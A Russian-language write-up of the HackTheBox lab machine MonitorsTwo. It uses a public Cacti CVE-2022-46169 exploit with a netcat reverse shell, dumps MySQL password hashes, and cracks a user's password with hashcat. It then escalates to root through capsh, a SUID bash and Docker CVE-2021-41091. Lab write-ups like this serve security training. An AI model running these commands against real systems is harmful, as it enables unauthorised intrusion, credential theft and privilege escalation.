Сложность: | Easy |
ОС: | Linux |
Баллы: | 30 |
IP: | 10.10.11.211 |
Теги: | Code Review, Docker Escape, Linux PrivEsc, CVE-2022-46169, CVE-2021-41091 |
После первичной разведки веб-приложения мы обнаруживаем что веб-сервис Cacti 1.2.22
уязвим к RCE. Далее, получаем доступ к Docker-контейнеру на целевой машине с учётной записью www-data
. В скрипте, хранящимся внутри контейнера обнаружим УЗ СУБД MySQL. В базе cacti
содержался слабый хэш пароля от УЗ целевой машины пользователя marcus
, который уязвим к атаке полного перебора по словарю известных паролей rockyou
и получили флаг пользователя marcus
. Воспользовавшись уязвимостью CVE-2021-41091 отредактировали права бинарного файла /bin/bash так, что он стал обладать исключительными правами на исполнение с привилегиями пользователя root
от лица любого пользователя, который можно исполнять вне контейнера и таким образом получили флаг пользователя root
.
Проведём первичное сканирование цели:
nmap -sS -p- 10.10.11.211
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Просканируем более подробно: nmap -sVC -O -p22,80 10.10.11.211
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Login to Cacti
|_http-server-header: nginx/1.18.0 (Ubuntu)
Перейдём напрямую по IP адресу машины и осмотрим страницу веб-сервиса на 80 порту:
На странице фигурирует некое ПО для мониторинга и анализа сети Cacti
версии 1.2.22
. Перед выбором дальнейшего пути развития атаки осуществим поиск существующих уязвимостей и готовых эксплоитов с помощью утилиты searchsploit
:
searchsploit cacti 1.2.22 -v
Выяснили, что это ПО уязвимо к CVE-2022-46169, которая позволяет получить обратный шелл. Готовый эксплоит доступен для использования; скопируем и организуем доступ на целевую машину:
searchsploit -m 51166
nc -nvlp 7331
python 51166.py -u http://10.10.11.211/ -i yourIP -p 7331
Получили доступ на целевую машину от лица сервисной УЗ www-data
.
Осуществим поиск бинарных файлов с SUID правами одним и следующих способов:
sudo -l
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -u=s -type f 2>/dev/null
В результате получим такой вывод:
/usr/bin/gpasswd
/usr/bin/passwd
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/newgrp
/sbin/capsh
/bin/mount
/bin/umount
/bin/su
Один из бинарных файлов /sbin/capsh
выглядит нестандартно. Также, просмотрим что за файлы доступны в корневой директории с помощью ls -la
:
drwxr-xr-x 1 root root 4096 Mar 21 10:49 .
drwxr-xr-x 1 root root 4096 Mar 21 10:49 ..
-rwxr-xr-x 1 root root 0 Mar 21 10:49 .dockerenv
drwxr-xr-x 1 root root 4096 Mar 22 13:21 bin
drwxr-xr-x 2 root root 4096 Mar 22 13:21 boot
drwxr-xr-x 5 root root 340 Apr 29 22:40 dev
-rw-r--r-- 1 root root 648 Jan 5 11:37 entrypoint.sh
Выведем содержимое файла entrypoint.sh
:
#!/bin/bash
set -ex
wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
mysql --host=db --user=root --password=root cacti < /var/www/html/cacti.sql
mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi
chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- apache2-foreground "$@"
fi
exec "$@"
Обнаружили название локальной БД и УЗ СУБД MySQL: root:root
С помощью следующей команды выведем список таблиц:
mysql --host=db --user=root --password=root cacti -e "show tables;"
Полный список таблиц в БД cacti:
Tables_in_cacti
aggregate_graph_templates
aggregate_graph_templates_graph
aggregate_graph_templates_item
aggregate_graphs
aggregate_graphs_graph_item
aggregate_graphs_items
automation_devices
automation_graph_rule_items
automation_graph_rules
automation_ips
automation_match_rule_items
automation_networks
automation_processes
automation_snmp
automation_snmp_items
automation_templates
automation_tree_rule_items
automation_tree_rules
[...]
user_auth
[...]
Выведем содержимое таблицы user_auth:
mysql --host=db --user=root --password=root cacti -e "select * from user_auth;"
Получили ряд записей, содержащих хэши/пароли локальных УЗ:
id username password [...]
1 admin $2y$10$IhEA.Og8vrvwueM7VEDkUes3pwc3zaBbQ/iuqMft/llx8utpR1hjC
3 guest 43e9a4ab75570f5b
4 marcus $2y$10$vcrYth5YcCLlZaPDj6PwqOYTw68W1.3WeKlBn70JonsdW/MhFYK4C
Полученные хэши являются хэшами паролей УЗ ОС Linux в формате $2*$ (Blowfish). Осуществим перебор с помощью утилиты hashcat
: hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt
Для учетной записи не удалось подобрать пароль, но для учётной записи marcus
был подобран пароль funkymonkey
.
Попытаемся авторизоваться по SSH с полученными данными УЗ:
Получили доступ к пользователю и его флагу!
При авторизации с учётной записью marcus получили сообщение о новом письме, выведем его содержимое: cat /var/mail/marcus
From: administrator@monitorstwo.htb
To: all@monitorstwo.htb
Subject: Security Bulletin - Three Vulnerabilities to be Aware Of
Dear all,
We would like to bring to your attention three vulnerabilities that have been recently discovered and should be addressed as soon as possible.
CVE-2021-33033: This vulnerability affects the Linux kernel before 5.11.14 and is related to the CIPSO and CALIPSO refcounting for the DOI definitions. Attackers can exploit this use-after-free issue to write arbitrary values. Please update your kernel to version 5.11.14 or later to address this vulnerability.
CVE-2020-25706: This cross-site scripting (XSS) vulnerability affects Cacti 1.2.13 and occurs due to improper escaping of error messages during template import previews in the xml_path field. This could allow an attacker to inject malicious code into the webpage, potentially resulting in the theft of sensitive data or session hijacking. Please upgrade to Cacti version 1.2.14 or later to address this vulnerability.
CVE-2021-41091: This vulnerability affects Moby, an open-source project created by Docker for software containerization. Attackers could exploit this vulnerability by traversing directory contents and executing programs on the data directory with insufficiently restricted permissions. The bug has been fixed in Moby (Docker Engine) version 20.10.9, and users should update to this version as soon as possible. Please note that running containers should be stopped and restarted for the permissions to be fixed.
We encourage you to take the necessary steps to address these vulnerabilities promptly to avoid any potential security breaches. If you have any questions or concerns, please do not hesitate to contact our IT department.
Best regards,
Administrator
CISO
Monitor Two
Security Team
Разобравшись в чём заключаются уязвимости, о которых предупреждает администратор системы можно понять, что можно воспользоваться уязвимостью CVE-2021-41091 можно получить бинарный файл bash с правами SUID. Для этого в сессии пользователя www-data, полученной ранее выполним следующую команду: capsh --gid=0 --uid=0 --
Таким образом, внутри контейнера с веб-приложением получили права пользователя root
, затем мы можем выдать SUID права на /bin/bash внутри контейнера: chmod u+s /bin/bash
Далее, внутри сессии пользователя marcus найдём точку монтирования контейнера с помощью df
:
Filesystem 1K-blocks Used Available Use% Mounted on
udev 1966928 0 1966928 0% /dev
tmpfs 402608 1232 401376 1% /run
/dev/sda2 7054840 4451424 2513656 64% /
tmpfs 2013040 0 2013040 0% /dev/shm
tmpfs 5120 0 5120 0% /run/lock
tmpfs 2013040 0 2013040 0% /sys/fs/cgroup
[...]
overlay 7054840 4451424 2513656 64% /var/lib/docker/overlay2/c41d5854e43bd996e128d647cb526b73d04c9ad6325201c85f73fdba372cb2f1/merged
Перейдём в эту директорию и выполним /bin/bash с повышенными правами из контейнера:
Мы смогли получить флаг пользователя root!
https://github.com/ariyaadinatha/cacti-cve-2022-46169-exploit
https://github.com/UncleJ4ck/CVE-2021-41091
https://ihsansencan.github.io/privilege-escalation/linux/binaries/capsh.html